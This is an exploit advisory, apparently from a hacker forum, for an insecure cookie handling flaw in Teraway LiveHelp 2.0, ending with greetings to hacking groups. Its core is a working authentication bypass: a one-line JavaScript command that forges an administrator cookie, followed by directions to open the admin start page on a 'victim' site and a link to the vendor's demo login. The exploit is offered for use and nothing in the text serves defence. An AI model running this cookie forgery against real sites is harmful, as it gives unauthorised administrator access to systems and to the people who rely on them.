Teraway LiveHelp 2.0 Insecure Cookie Handling Vulnerability

-------------------------------------[+] Homepage:http://www.teraway.com Product: Teraway LiveHelp 2.0 home:www.h4ckf0ru.com Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae Note: Ya Jma3a Ana AfLawi Horr ------------------------------------- Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln ------------------------------------- Exploit: -------- javascript:document.cookie="TWLHadmin=pwd=&lvl=1&usr=&alias=admin&userid=1;path=/"; Then Go to http://victim/path/start.asp demo ---- http://www.teraway.com/livehelp/demo/login.asp -------------------------------------------------- Greetz to : [+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone- ZoRLu And ALL Members Of anti-intruders.org ALL My Friends (Dz) [+]-------------------------------------[+]